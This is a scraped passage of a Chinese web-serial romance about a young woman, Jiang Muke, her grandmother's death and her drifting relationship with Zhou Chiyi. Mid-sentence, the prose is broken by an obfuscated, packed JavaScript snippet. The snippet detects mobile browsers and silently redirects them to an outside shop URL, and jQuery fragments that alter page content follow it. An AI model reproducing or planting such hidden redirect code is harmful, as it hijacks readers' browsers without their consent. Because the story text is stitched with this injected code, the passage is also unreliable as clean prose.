腿上传来的酸麻感，一时间没有忍住尖叫出声，惹得院子中几个小孩纷纷转头投送目光过来。 小一点的孩子不清楚什么原因，稍大一些的孩子能看出腿麻的原因，捂着嘴在旁边偷笑。 在他们眼中，大概这种容易出丑的事更多时候只会发生在小孩子身上。 “你怎么跑来了，不是说要准备去工作了？” 江沐珂接过一半礼盒，另一半被周末紧紧抓着，怎么说也不从手指间放出来，口头上说着沉，分开拿就可以的言辞。 其实在第一眼看到周末这大兜小兜的，不用多想也猜得出来，一定是因为外婆的事情专门来看望的。 周末趁着江沐珂注意力不集中，顺手将礼盒全部都提在手中，两只手都没有空闲的，“工作不急，反正实习生又不是我自己，反倒是你这里，可不是什么时候想再来就能再来的。” 现在的情况就是如此，江沐珂想否认，但只能认清现实，无奈妥协接受。 “再说，阿婆炸的红薯丸子最好吃了，我可是吃过不少的，肯定是要来看看的”，周末轻车熟路进到客厅，把江沐珂落出两三步的距离。 江爸爸正巧出来拿热水壶，路过客厅遇上大步流星进来的周末，面色上沾带几分欣悦，“末末也来了，来找珂珂的吧，我帮你去叫她。” “叔叔，不用不用，我已经见到珂珂姐了”，周末几步走上前，想要用手帮忙时想起来自己手上都被占用着，咧着嘴角扯了一个憨憨的傻笑表情。 江沐言听到客厅里的动静，从二楼走下，将几件礼盒都悉数接走，跟在后面一起回二楼房间。 越靠近那个房间，周围的氛围就越低沉，每个人说话的声音都不由自主小上很多。 江沐珂看着走在前面的爸爸和好朋友，还有身侧的哥哥，压了一上午的情绪又有了崩溃涌现的苗头。 “进去不准哭。” 在房间门口，江沐言先江沐珂一步，堵在门口的位置，神情严肃叮嘱道。 在昨天刚回来的第一晚，待在房间里照顾的时候没有什么异样，而当她离开进到其他房间里，没有人盯着她，也没有人提醒阻止她。 自己一个人硬生生在房间里哭得差点喘不上气，努力压制的哽咽声接连不断，都在同一时间爆发喷涌出来。 江沐言从房间门口经过，听到动静敲门，看到的便是眼前一双通红的眼睛，睫毛被眼泪打湿个彻底，只是一个应声的单音节声音，也已经被浓重的鼻音包裹。 本来已经压住很多的情绪，在看到亲人的瞬间，比刚刚来得还要凶猛，小声啜泣再也不能够发泄出心里的难过。 江沐珂趴在江沐言胸前，放任自己落泪大哭，整张脸都埋进去，一头褪过颜色的红发颤抖不止，闷闷的抽泣声不停。 感受到怀里人不对劲的状态，江沐言把人从怀里拉出来，神色冷静，单手放在江沐珂背后帮忙顺气，口中不停指挥说着吸气呼气的指令。 如此反复来回好半会儿，江沐珂的抽泣声渐渐变小，一双泪花闪烁的眼神无助可怜，鼻头也因着染上红色。 发生过昨天晚上的事之后，江沐言时刻提防自己的妹妹，这才有了上午让她照看小孩子的事情，转移注意力便不会萌生那么多自己不能纾解的难过情绪。 江沐珂眼底再次浮现难过，但还是听话地点头。 情况本来就不好，她不能再添乱了。 清楚这一点，江沐珂跟在周末身后进去，抿着唇没有说太多话，更多的是听爸妈拉着周末说话，讲外婆这些天的情况，还有对周末能来的感谢和其他一些关心。 “阿姨，这我肯定不能拿走，你们别觉得多，我是帮我哥也带一份，他最近出差，没在徐江，我代他来看望阿婆，按道理这趟就应该他来才对的。” 离开的时候，周末推手拒绝，又把刚开始进门时说过的话重新一遍。 腰侧得到周末的求助信号，江沐珂随着她附和一声，“迟一这几天确实没在徐江。” 至于更多的话，江沐言什么都不想说。 江沐珂送周末到路口，一辆车牌号似乎见过的车正停在路边的停车位上，黑色的车窗挡得严实，看不清里面是否有人。 “珂珂姐，这次我是真的要离开徐江了，你有什么事别憋在心里不说，我哥那鸵鸟脾气也是，你不说他肯定不知道，女孩子嘛，一定要自己怎么舒服怎么来，别惯着我哥那种破脾气”，周末双手拉着江沐珂，眼神里很不舍，但更多的应该是担心，“姐，嫂子，有什么事一定要说啊，不给我哥说，那给我说也行，我帮你骂他，你心疼他，我反正不会心疼的。” 在路口被拉着又灌上很多碗毒鸡汤，周末才勉强松开手，摸出身上响个不停的闹钟铃音。 是一条备忘录专门设置的提示闹铃。 “你今天的飞机？” 不经意间一瞥，正好看到备忘录上显示着[去机场]的大字提醒，江沐珂不由地紧张，江家老宅这里距离机场可不是一般的远，还需要专门走高架一个多小时的路程。 而且还是在不堵车的情况下。 周末慢慢后退着走路，露出笑示意人安心，“不要担心我的航班，有人给我当司机，肯定能赶上的。” 周末撤开的身后，刚刚那辆车的黑色车窗降下来，孟时野俊脸缓缓出现，对着江沐珂打着个招呼。 最后一个浅浅的拥抱结束，江沐珂帮着打开车门，目送他们离开，手机里很快弹出新消息的震动提示音。 【周末末】：快回家，外面冷，你穿得薄，容易感冒！ 【周末末】：[表情包] 周末的个人习惯，每句话后面都会带上一个表情包。 这次是戴着毛线帽的小猫猫，图上P了一只小手的表情，配字“指指点点”。 已经能想象到周末发消息时的脸上表情是什么样子了。 送走周末，江沐珂慢悠悠往回走的路上，斟酌下用词文字，在置顶的聊天框里打字输入内容，最后点下发送。 【江沐珂】：谢谢你的礼盒，我爸妈很高兴，不过下次别买这么多了，你和末末带一份就足够了。 本来就是一家人，有一个做代表就可以。 江沐珂想到置物的房间里，每人带来的三个礼盒，禁不住摇摇头苦笑，在周末他们那两兄妹眼里，应该是恨不得把好的都送来，不存在什么多或者贵的概念。 和生命拔河，等待审判结果的大斧落下的过程是很磨人的。 每一天都在煎熬和挣扎里度过，一边不相信生命如此脆弱，容易消散，尽全力试图拥有乐观的心态，而另一边则是不停自我心理暗示，催眠，各种对最坏结果的心理建设。 完全矛盾的两种心理状态，在大脑里反复拉扯，消磨精力，摧残精神。 突发变故的这天，江沐珂照常去房间里为外婆喂水喝，身体的机能降低的缘故，老人已经不能再吃喝什么，勉强用针管那些医疗工具帮忙喝一点点水。 这就仿佛在生与死的审判场上，结果已经下达，但是过程缓慢而煎熬。 中午的时间，江沐珂到厨房里帮着嫂子她们盛饭端饭，不止要照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14283279|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人，对于她们这些亲人，也更需要照顾好自己，才能有精力照顾其他的。 鸡蛋汤的味道弥漫整个厨房，顺着推拉门传入客厅，江沐珂一只手端着一个小瓷碗，看着只有巴掌大，里面是她和嫂子早上时专门去超市选购回来的食材，鸡蛋汤的卖相很好。 上到二楼房间前，江沐珂还在和嫂子聊天，试图帮着缓解疏导嫂子这几天压抑的心情。 聊天的话语在走进房门的瞬间，动作和嘴角同时僵住，呆愣在原地没有了后续。 难过至深处是无声的哭嚎，江沐珂在这一时刻感受到这句话的真实写照。 双眼的泪水瞬间喷涌，始终在眼眶中打转，嘴角却抿得紧绷，没有意料中的大哭，也没有担忧中的情绪崩溃。 江沐珂小心将自己手中的鸡蛋汤放在桌子上，而后又转身接过嫂子手中另外的两碗，在江沐言的刻意留意的注视中，冷静处理好这一切。 她的这幅状态，和刚回来那天晚上截然相反，整个人都平静得不像同一个人，甚至更不像江沐珂一直应该有的模样。 江沐言不由得浮上担心，想要走过去稍稍安抚，脚步停止在眼泪落下的刹那。 依旧是没有大哭大嚎，不言语，不哭闹，只是安静站在床边，站在最靠后的位置，两行泪夺眶而出。 不止是江沐珂一人，出现在房间里的每个人都湿漉了眼眶和眼角，以及面颊。 家中男子向来如顶梁柱，虽每个人都挂着泪花，但各种事宜安排上依旧处处妥当，大概今天的这种画面早就在每个人心中排演过无数遍，只是每个人都不想承认这一天会现在就到来。 江沐言帮着做事的同时，不忘记注意江沐珂的状态，看她在舅妈和江妈妈之间来回徘徊，时刻照顾着家中长辈的状态，在这个瞬间，他突然觉得江沐珂变了，不只是简简单单的长大那样。 所有人的忙碌都持续到一个小时后才勉强腾出一些时间，每个人的手机都在手中不停歇地连轴工作着，这不是小事，大家都在第一时间告诉身边重要的人。 江沐言负责联系外婆那些老一辈的老友们，只是借着电话振铃的空隙偶尔观察江沐珂。 她捧着手机，坐在角落，一双眼睛陷入呆滞的状态，很长时间才眨动一下眼睛，缓解干涩感。 手机屏幕里，联系人和聊天软件的界面来回切换，始终停留在后台选择软件的页面上，手指停顿在半空，迟迟没有落下。 告知与不告知，江沐珂都很犹豫，脑海里各种思想斗争都在持续的进行着，根本没有办法抉择，甚至吵得脑袋疼。 与自己挣扎的结果是，江沐珂索性直接把手机关了机，随便地往兜里一揣，裹了下身上的衣服，默默靠到一侧的墙壁上，紧紧盯着最安静的一处。 眼前忙碌经过的人影好像都只是晃影，完全不会在视野里给她们留出空间停留，更不会注意到他们的出现。 江沐珂沉默不语，凝眸抿唇，任由眼泪从眼眶里持续不断地落下，大脑中一片空白，有关生活的所有都从中午那一刻开始暂停，并且还在持续…… “喝点水，听话”，江沐言忙完手头的事情，倒杯水拿到江沐珂面前，眼看着她顺从听话地喝下，没有喜怒，没有哀乐，如同一个没有思想的口令机器人般动作。 江沐言微微抬手，纸巾掠过脸侧，将泪痕轻轻拭去，“有什么需要我帮忙的吗？” 每一次都是这样，江沐言总能在第一时间注意到她的不在状态，而且能够精准看出她在想什么，同时伸出他帮助的援手。 呆滞的眼球稍微转动，不得焦点的视线在反复眨动的动作里渐渐开始聚焦，直到最后眼前出现江沐言清晰且担忧的面容。 脑海里还在持续地划过各种走马灯一般的回忆，哪里还有什么其他的人或事能挤进这些回忆中，江沐珂缓慢摇摇头，没有吭声。 在江沐言继续的凝视里，江沐珂逐渐表现出落寞的神色，只是依旧没有说太多，一副风轻云淡的口吻，配上她刻意流露出的安抚目光，让人更加辨别不出她真实的状态。 15. 沉默框 “哥，你去忙吧，我没事的。” 太久没有说话，江沐珂现在的出声音色都是带着些许嘶哑的。 神情落寞低迷，眼睛无神，双唇也因为太长时间没有补充水分，微微泛着些白。 和她平时欢快的小太阳状态对比，这幅样子更让人心疼。 江沐言欲言又止，最后迫于现实情况，没有再继续追问，只是叮嘱上几句，转身把外套披在江沐珂身上，转而投入在新一轮的忙碌中。 另一边，周迟一连续几天在最后确认一遍综艺录制场地问题，以及和一位老朋友的合作签约敲定。 所有的工作都已经结束，只剩下最后的舞蹈老师问题，周迟一低头翻看手机里的消息，依然没有江沐珂的消息，有些疑惑，头也没有抬地问陈林。 “她多久能到，再等半小时，如果还没有来的话，你负责领她去和负责人交接就行，我这边先回去就好。” 在这段恋爱中，江沐珂不黏人，但也很少会这么久没有消息，这不像她。 周迟一看着手机里的工作安排，准备将剩下的事交给陈林来办，有些会议不需要他亲自到场也是可以的。 陈林抬头看着会议室里的壁钟，微微蹙眉，作为一个时间观念很强的人来说，十分钟便只能是十分钟，前后多出五分钟便是迟到。 在时间通知的事情上一直都是陈林负责，他找到对应的联系号码，踱步到会议室门口，有意压低声音交流，“喂，路老师，你还需要很久吗？” 一向素养极好的陈林在拨通电话的第一时间发问，完全没有给对方留出说话的气口。 “你谁啊，打我小姨的电话有什么事？” 比陈林口气更难听，更不给人面子的是对方通话里的回话声，很明显的稚嫩孩童的声音。 稚嫩得更像是还没有经过变声期的男生音色，听得陈林和周迟一同时皱眉，互相对视一眼，对方眼里同样是满满的疑惑和不解。 对方男孩继续追问着，“问你话呢，怎么不吭声，你谁啊，连名字都不敢说，不会是哪个追求我小姨的吧，切，癞蛤蟆想吃天鹅肉呢，我劝你啊，洗洗睡吧，大白天的做什么白日梦。” 罗里吧嗦的一通乱说，根本不顾一点情面可言。 陈林难得不自信地低头查看手机上拨通的联系人号码，核对之后也没有什么错误啊。 周迟一紧锁着眉头，没想到路贝贝身边还有这么号人的存在，没见过，也没听她提起过。 小幅度地摇摇头之后，陈林犹豫中想要挂断，没有什么意义的不合时宜的电话。 “小乐，让你帮我打个电话，你到底有没有帮我和朋友说？” 电话里，听起来更远一点距离的声音传过来，是他们都熟知的声音，前几天刚刚见过进行了一些交谈。 陈林移开正要动作的手机，把音量加大，听着两个一大一小的对话声，以及紧接着而来的不好意思的道歉说辞。 “小姨，你故意不去我妈介绍的相亲，是不是就是因为这个厚脸皮追求者啊——” “瞎说什么呢，我现在工作刚刚稳定，不打算想这些，还有电话给我，是谁给我打的电话？” “没睡啊，你又没备注名字，只是个特助，我哪知道是谁。” 听到这种回答，路贝贝本来还和蔼的笑脸，一瞬间变了脸，眼神凌厉，抿下嘴唇，最后忍下隐而不发。 小男孩是表姐家的孩子，从小就被一家人从老到小所有人的宠溺，这么久没见性格上反而更加不知道主次。 碍于表姐和二舅之前帮着照顾妈妈的原因，路贝贝无奈，没有办法，微微闭上眼睛，再睁开时已经将所有情绪都收起，看不出任何破绽和外泄。 路贝贝单手拿着手机，轻放在自己耳边，声音里带着歉意，不用想也知道陈林那边肯定是迟迟等不到自己才打来的电话。 “陈助理，实在不好意思，我家里这边突然有变故，一时间走不开，家里的小孩子没大没小，我替他向你道歉了。” 被惯坏脾气的小孩子，对着路贝贝嫌弃地丢出白眼，帅这两只胳膊，昂首挺胸大步离开，在拐角处遇上自己的奶奶，张口便是是非不辨的乱七八糟的胡说告状。 在舅妈想要开口说话之前，路贝贝转身侧进距离最近的安全通道楼梯间里，将身后不太友好的字眼都隔绝在一门之外。 “你真是白眼狼，我好好的替你操心介绍……” 诸如此类的字眼已经听过太多次，路贝贝不想他面前落得如此模样，还有一丝骄傲不想丢弃。 路贝贝离开得及时，但也没有躲过开头说话的恶劣语气，通过电话毫无保留地外放在周迟一和陈林面前。 许久未见的老朋友似乎变了很多，字眼之间的生活仿佛也不再是之前的那个样子。 骄傲如路贝贝，现在也开始放软语气，棱角的尖刺悄悄缩回壳中，让其他人夺了先机。 周迟一从陈林手中接过手机，声音很轻，“你那边发生什么事了，需要我帮忙吗？” “小姨，我姨找你，你快点过来，还有别忘了去付住院费用。” 电话里和电话外同时响起，楼梯间的门被小男孩推开一条缝，正好够他的脑袋从中间冒出来。 即便是最快的速度用手堵着听筒的位置，也没有挡住声音的传播，没有任何阻碍地从手机里放出来。 路贝贝的妈妈周迟一是见过的，很亲切的女人，没有什么架子，可能也是因为她从农村出来，和谁都能聊得来。 在她还没离婚，路贝贝还没出过之前，周迟一他们那群小孩经常吃她手工做的各种面食甜点。 周迟一语气强硬，直接接上刚刚的话再开口，“阿姨怎么了，你现在在医院？” 一阵见血的问题，也是路贝贝不太想回答的问题。 路贝贝压着情绪，有些小声，“嗯” 医院这两个字应该是每个人都不愿主动提及的字眼，因为与它相关的，没有太多是好的事情。 联想起之前在公寓里聊天时，路贝贝透露过的癌症病情，周迟一双唇始终紧闭，几乎能猜到这其中的变故。 “这都什么时候了，你还在打电话，到底是你电话里的男人重要，还是你亲妈更重要啊？” 刻薄的女人嗓音充斥着整个房间，尤其把男人和亲妈两个词着重强调，丝毫不顾医院里对静的环境要求。 门口路过的护士听到渐高的动静， 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“现在不需要我们了，就让我们走，那行啊，把我们之前照顾你妈那些年贴进去的钱方方面面都拿出来给我们啊，大翔你来算，你数学算数好。” 简短的一句话换来一系列的反驳，以及更加出乎人意料的撕破脸皮，全然不顾着病床上还躺着病人的现状。 被叫做大翔的男人是表姐的老公，算是入赘来的，平时便和舅妈他们住在一起，很是听舅妈的话，当即就拿出了手机计算器，配合着舅妈手机方便查看开始算。 路贝贝看过他们口中的账单，都是些无关紧要，硬要划进来的照顾费用。 病房外好生热闹的闹剧结束，路贝贝已经疲于应付，转身关上病房门时，突然意识到手机通话自己没有挂掉，被舅妈他们的事情惹得怒气上头，竟然把这一茬给忘记了。 通话时长06:03。 还好不是特别长，没有把整场闹剧都播放出去。 想及此，路贝贝扯着嘴角苦笑一下。 本就相差的阶级更加明显了，骄傲不复存在，他是人上骄子，而她只不过是市井中的普通众生，甚至将来还可能会因为医药和住院费苦恼。 路贝贝最后看一眼手机屏幕上的备注名字，并不准备把病房号发送过去。 - “老板，不回家了吗？” 周迟一：“不去了，先去看望一个阿姨，一会儿路上记得买点礼盒和果篮。” 陈林点点头应下，专心开车。 车后座上，周迟一看看手机，依旧没什么消息，上一条是他自己发过去的询问内容。 无人回复。 【周迟一】：我今天就回家了，你那边没什么事吧？ 五分钟，十分钟，半小时过去了。 依然是石沉大海的消息发送。 周迟一面色无异，心情无端地变差，随手把手机塞进兜里，转头看向窗外放空大脑。 【周迟一】：我要去趟医院，可能会晚点到家。 平时嘲笑阎槐的一些博同情的小手段，周迟一怎么也想不到有朝一日会出现在他自己的聊天内容里。 扯动嘴角略带嘲讽笑笑，继续等待这种招式的效果成见。 16. 糖葫芦 周迟一第一次的尝试最终以没有什么成效结束。 手机里还是没有江沐珂的消息回复。 周迟一继续发过去一条叮嘱照顾好自己的关心消息，缓缓舒展开没头，江沐珂从来不会无缘无故不回消息，外婆的事肯定是让她缠身，心情上也跟着糟糕许多，可能如之前心情差的很多次一样，屏蔽外界的一切联系，试图缓解自己的情绪起伏。 陈林的车技很好，到达医院也没有花很长的时间，路上没有买到什么可观的看望礼盒，早早在电话里让另一位同事女特助高玖星帮忙买了备好，在医院门口等着。 东院门口，江沐珂手里牵着一个小女孩，小女孩手中拿着刚吃到一半的糖葫芦，另一只手扶着身旁有看起来有些年龄的长辈。 一行人刚从车里下来，开车的男人笑着对她们招手，单手搭在方向盘上，朝着不远处停车的地方指指方向。 医院附近一位难求，无论在哪个城市的医院都是如此。 江沐言带着表哥的拜托，带大姨和江沐珂一起来医院查看身体状况。 一连半个多月的身体透支，即使是年轻如他们，也险些差点抗不下来，更遑论是四五十岁的长辈们。 高血压一直是他们整个大家族里的通病，不能说每个人都会得，但起码的，目前为止，只要是一上了岁数，就很难避免会出现血压升高的情况。 像大舅和二舅他们两人更是年纪更大，血压很多时候都是和降血压的药相伴，时时在家里被小辈孩子催促记得用血压仪测量血压观察，防患于未然。 因着这个原因，在表哥他们被工作缠身后，江沐珂和江沐言两兄妹便担下这个重任，负责带着长辈来医院检查身体。 “姨姨，我一会儿还想吃糖葫芦”，没多会儿的功夫，小女孩手中的糖葫芦便只剩下最后两颗山楂还串在竹签上。 稚嫩的脸庞上不小心被沾了晶莹糖块在嘴角，小孩子的模态尽显。 江沐珂抓着她的手微微摆动，故意和女孩对视一眼，露出这段时间以来最轻松的笑，“小璐乖，只有听话的孩子才有好吃的。” “小璐最听话了，姨姨那你是不是就要给我买糖葫芦了？” 印象中的小女孩也开始学会了转弯子讨要好吃的，江沐珂笑着摇摇头，抽出手轻轻在女孩脑门上很轻力度地一点。 江沐珂：“小璐是最听话的孩子没错吧，那妈妈是不是也说过吃糖多容易蛀牙，让小璐少吃糖呢？” 这种话算是大院里她们几个小孩子都最不想听到的话，因为会被夺走吃糖果的机会。 小女孩撅着嘴唇，很不情愿，但依旧诚实点头肯定。 “小璐最听话了，待会儿回家这次例外，我多奖励你一串好了。” 在并不长的一两分钟对话里，小女孩感受到过山车般起伏的心情变化，从失落的低端情绪直接一下飞跃到激动开心的顶端。 旁边的长辈看着自己身边的两个小辈亲人，发自内心地轻笑起。 总有人会离开，但也一直会有人陪在身边，幸福和美好从来没有远离，始终都在周围。 因为亲人离世带来的悲痛，在接触到眼前这一幕时瞬间被更充盈的温情填满。 “走吧”，大姨一边一个，牵着两人迈进医院的电梯门，“一会儿回家路过我给你买，不要总花你小姨的钱，听到没有？” 小女孩调皮吐着舌头：“就不，我小姨最喜欢我了，是吧，姨姨。” 说着这些，还没忘记故意伸长脖子，试图跨越中间奶奶的遮挡视线，朝着江沐珂撒娇似的问话。 双眼的视线还停留在电梯门外，呆滞在抬眸的刹那，硬生生被小女孩凑过来晃手的动作招回魂。 “啊？嗯，是我也最喜欢小璐啦！” 这些天时常和小孩子打交道，可能是骨子里的幼教潜能被激发，应付起小孩子来越来越得心应手，说话语气什么的也都越来越顺口。 已经冷下来的心情连小孩子都能感觉到某些异样，歪着头打量江沐珂，小手抓着的动作不自由地又紧上几分。 江沐珂垂下头，感觉到手心中的变化，用另一只手轻轻放在小女孩头上左右轻揉几下。 “走吧，我哥提前和医生约过了，我们直接过去就好。” 一行人再次变成江沐珂主导，领着一大一小去往医生办公室。 心头的疑惑自刚刚起就一直存在，陪同检查各项指标时都心不在焉的，右手始终徘徊在挎包左右，怯于打开。 明明手机就是她能最快寻到答案的途径，可偏偏面对真正答案的前一刻，她不自信地生了畏惧。 对于周迟一，江沐珂没有勇气说出任何的肯定和百分百的底气。 就像刚刚在电梯门缝里看到门口的场景时一样，江沐珂的反应不是第一时间去确认，去质问，而是反过来质疑自己。 抽血的窗口在四楼，需要从二楼再搭乘电梯上去，江沐珂跟着各种标识箭头，确认要去的抽血楼层。 “走吧，再做个抽血检查看看就结束了”，江沐珂收好医院看诊卡，停在电梯门口等待。 嘀—— 电梯里的人陆续走出，电梯外的人则是等待接上走进。 视线的对视就发生在这一瞬间，没有任何惊讶，眼底也没有任何波澜起伏。 江沐珂牵着小女孩走进电梯，站在距离门口最近的一角，并不准备往后挪动，也没有再转头回看，直到电梯楼层数字跳转到四楼。 三个人头也不回地直接走出去，她们谈笑的声音渐渐变小，直至被电梯门关闭，彻底听不到一点动静。 路贝贝几次想要张口，但在看到周迟一微皱的眉头时忍了下来，下电梯进病房前都没有再说一句话。 明明是男女朋友，见了面却连个招呼，甚至是眼神对视都没有，这种情况傻子也看得出来不对劲。 同为女性，换位思考一下，路贝贝猜得出来其中的原因，把人拦在进病房前。 “不去解释？” 路贝贝侧下头，指指身后电梯的方向。 从电梯口到病房，就这么几步路的距离，周迟一已经不知道看几次手机屏幕了。 这些小动作都被路贝贝看在眼里。 周迟一摇了摇头，“先去看阿姨吧，她应该是陪亲人来看医生，我去不太方便。” 想到刚刚一直黏在江沐珂身 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看着长大的孩子，如今都成了独当一面的大人，任谁看到都会露出欣慰的嘴角。 所有不太合时宜的话，都被路贝贝拦在说出来之前，没有人会在这次的看望叙旧里难堪，也不会有人察觉到某些不能显露的心思想法。 电梯继续往下降，经过四楼时，路贝贝还是不太放心，没忍住问道，“真的不去吗？” 楼层显示数字再次从“4”跳转到“3”，很快又到“2”。 “不去了，她也不是小孩子了，都认得该去哪里挂什么号，我去了也帮不上什么忙。” 话声结束同时，楼层显示数字刚刚好跳转到数字1。 手机依旧是静音没有任何消息弹出来的状态，安静得如同一块毫无用处的板砖，一点没有让人想去看的想法念头。 重新坐到陈林的车上，周迟一还是选择翻看手机，结果不出所料，没有一条是来自江沐珂的消息。 如果不是这次的医院偶遇，她好像消失在周迟一的生活里很长一段时间，没有网上的联系，他们之间的其他联系约等于零。 这个想法出现在认知里，让周迟一不由得皱眉，不太喜欢这种莫名其妙渐行渐远的错觉。 - 江沐珂从医院里出来后，为了兑现和小朋友的某些承诺，在长辈允许的前提下，带着小朋友临时转道去了游乐园。 好不容易得到空闲，在手机里购买两张游乐园门票，弹出购票成功页面后，切换软件页面时还是没忍住点开了未读消息的聊天内容。 目光定位在“医院”两个字上，属于本性里的胡思乱想开始四处发散。 去医院做什么，是生病了吗？ 关心则乱，碰到医院二字的下意识担忧猜测。 转念又想到在医院电梯里看到的画面，江沐珂扯动嘴角，勉强挂着弧度。 也有可能，他是来陪老朋友来医院也说不准，毕竟他们之前的关系应该是挺好的吧。 她应该也是有点喜欢的吧，眼神骗不了人。 一正一反的两种猜测，理智和感性的较量在大脑中相互掰扯，一时难分高下。 17. 平静心 自那天在医院的偶遇之后，江沐珂和周迟一没有见过任何一面，有些刻意，但也更多是不凑巧的巧合导致。 关于外婆过世的事情，江沐珂在简短的聊天里，很简洁地告诉了周迟一，同时也告诉他让他放宽心，自己情绪的调节都很好，不用担心自己。 在老宅度过的又一周之后，江沐珂想通很多事情，一些关于未来规划的，以及有关自己个人选择的问题。 周迟一在经过一段时间的忙碌后，也难得地决定给自己放个假期，在公寓楼下下车前，单手搭在车门上，弯腰对车内的人说道，“接下来半个月，你也放假休息休息吧，好好和阿姨聊聊去吧，看你最近被催得挺头疼的。” 假期当然是好的，但是话里提到的相亲可就不是什么好事了。 陈林单手搭在头上，满脸无奈，下已实现想要反驳什么，苦于这本就是现实，没有任何可驳回的点。 “老板，快别提了，正发愁呢。” 手肘撑在方向盘上，双手抱在头上，一副愁苦相。 周迟一摆摆手没有再说话，车门关上前，能听到他最后的声音传进来。 “开车路上记得小心。” 周迟一没什么功夫理会身后车内独自发愁的陈林，他现在更期待的是，已经在早早发消息回来的人此时此刻正在家中等着他。 只是站在楼下，就能看到楼上客厅的灯在亮着，已经许久没有感受到这种有人等的感受，周迟一隐隐有些期待藏着。 今天中午的时候，刚从咖啡厅里出来，周迟一便收到江沐珂的消息，在此之前，她已经有好几天没有发消息来了。 周迟一也连轴转，没有想起来发消息关心，只有晚上的时间看手机看到置顶的聊天框，才会想到打字聊上几句。 不知道是不是他的错觉，总是感觉有些东西正在偷偷改变，在朝着他不期待的方向发展。 周迟一抬手压一下正在跳个不停的眼皮，他不是什么迷信的人，这种时候往往会认为这是没休息好的结果。 右眼皮还在跳个没完没了。 只是这一次，周迟一没来由的想到江沐珂常说的话。 左眼跳财，右眼跳灾…… 至于准不准，大概是准的吧，要不然江沐珂也不会一直相信到现在。 来回轻压一下右眼皮，试图不让它再继续现在的跳动状态，只是没有任何作用。 在电梯到达楼层开门之前，周迟一已经不再理会眼皮的问题，任由他自己发展，如果真的是有什么不好的事，那应该也不是他认为能够阻止的了。 客厅的餐桌上摆着几盘饭菜，还冒着热气，应该是刚刚在手机里问过自己的到家时间后专门准备的。 周迟一开门看到这个画面时，第一反应是这种想法，因为江沐珂之前也一直是这么做的。 “我今天回来得晚，没有时间自己准备饭菜，就让西苑他们送了一些，我看着你回来的时间加热了一下，都是你喜欢吃的菜品。” 江沐珂从厨房里出来，手指里还抓着刚从身上脱下来的碎花围裙，头发被夹子随意地抓在脑后，脸上还带着没有卸掉的淡妆。 看到江沐珂带妆的样子，周迟一有短暂地愣怔，正式场合的浓妆和日常的淡妆下，江沐珂是两种模样。 周迟一走上前，动作自然地从她手中接走围裙，搭在旁边的椅子上。 “刚回来吗，你也歇会儿，一起坐下吃饭吧”，周迟一双手按在江沐珂肩上，没有用太多力气，刚刚好能够让她在力道下顺着坐下。 本应该是恋人之间很自然的互动，但其实在今天之前，江沐珂并不常能体会到。 江沐珂抬眸，眼神里夹杂着些许的疑惑，转瞬即逝，让人察觉不到。 这次晚饭时间结束得很慢，因着他们互相分享最近的事情，或生活中，或工作中的各种。 有关外婆的事情，江沐珂放在了最后说，她不想打扰今晚的氛围。 “你怎么没告诉我？” “你看过你的工作安排，那天事情比较多，而且这本来也没有特别重要”，江沐珂夹了一块里脊肉放在自己碗中，垂着头没有立刻吃掉，只是用筷子来回摆动它，语气平淡，没有任何情绪的起伏。 她冷静的语气，不像是在说自己的事，更像是在讲别人发生的事情一般。 周迟一单手搭在腿上，缓缓握拳，想要质问的话卡在喉间，想到他的确没有什么身份说这种话，“所以这些天，你不常联系也是因为这件事吧，很多事情要忙吧？” 语气渐缓，他总是这样，能够在第一时间抓到事情的中心问题，由此发散找到作为一个男朋友的身份时，他应该关心的点。 “嗯，还好，我哥忙的比较多，我就只负责照顾我姨，和我妈她们。” 依旧是没有什么情绪起伏，嘴巴里嚼动的里脊肉甚至还略微影响说话清晰的程度，和预想中难过情绪低落的样子完全不同。 生老病死，人总要经历这一遭，在江沐珂外婆这件事上，周迟一不是没想过可能会发生的各种情况。 只是无论在哪种设想里，都没有出现过江沐珂如此平静的状态。 周迟一放下手中的筷子，“你没事吧？” 听到关心的话语，江沐珂缓缓抬起头，和那双记忆中牢记过很久的眼睛对视，表现出她最标准的嘴角微笑。 “我还好吧，心理建设已经做过很久，事情来临的那一刻没有太大的情绪波澜，都能控制得住。” 还是那副口吻，平静，不附加任何情绪。 这和认识中的江沐珂仿佛不是同一人，和最初认识的江沐珂更不相同。 周迟一在疑惑些什么，江沐珂都懂，但她并不准备解释什么。 在他们的这段感情里，很多事很多话都是因为这种相互沉默，各自默许的结果里变得只有对方知道，从而走到现在的渐行渐远。 没有见面的这段时间里，江沐珂反过来倒过去想过很多，从最开始的在一起，到现在的每一天，认真思考这其中的很多问题。 她和周迟一都是两个相互独立的个体，再之后才是对方的彼此男女朋友，才有了这段感情的经营。 一个人只有爱自己，才能够更好地爱别人，并享受被爱的过程。 从这一点出发，江沐珂围绕思考过很多次，不算是完全想明白，程度只能算 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她和周迟一的这段关系里存在很多问题，不能靠回避和冷处理解决的根本性问题。 这是江沐珂最终得到的答案。 从画室里出来，江沐珂手中夹着一份透明文件夹，隐约能看到里面带着颜色的作品。 周迟一坐在沙发上，听到关门声音，应声回头，目光落在未知文件夹上。 “这是什么？” 江沐珂顺着周迟一问话，轻轻将文件夹递到他手边，点点下巴示意他自己看。 刚开始看前面一两张看不出什么门道，当往后再继续翻看，画面里的经典名场面忽跃眼前，周迟一明了这个没有封面名称的文件夹内容。 是之前和江沐珂提过一嘴的帮忙合作事，帮一个小成本剧画一些中间转镜的插画镜头。 一直没有落实的事情，突然冷不丁被以成品的姿态送到面前，没有比这更让人吃惊的。 文件夹里不止有这些，更有另一部重要作品的水墨风海报，以及像素风格的插画，还包括一些乱七八糟的小配角等等的相关画作都在其中。 周迟一从其中抬抬头看她，没有得到预想中的目光反馈，再次投入到新一轮的翻看文件中。 一张接一张作品被翻过去，纸张摩擦的特有音色充斥在耳边。 五颜六色的色彩搭配，从视线里不停晃过，直至到最后一张，突然乍变出纯白占据大片面积的白底黑字。 不是合同的文字，也不是作品的相关声明。 在看清楚内容后，周迟一脑海里的所有出现过的想法都被pass。 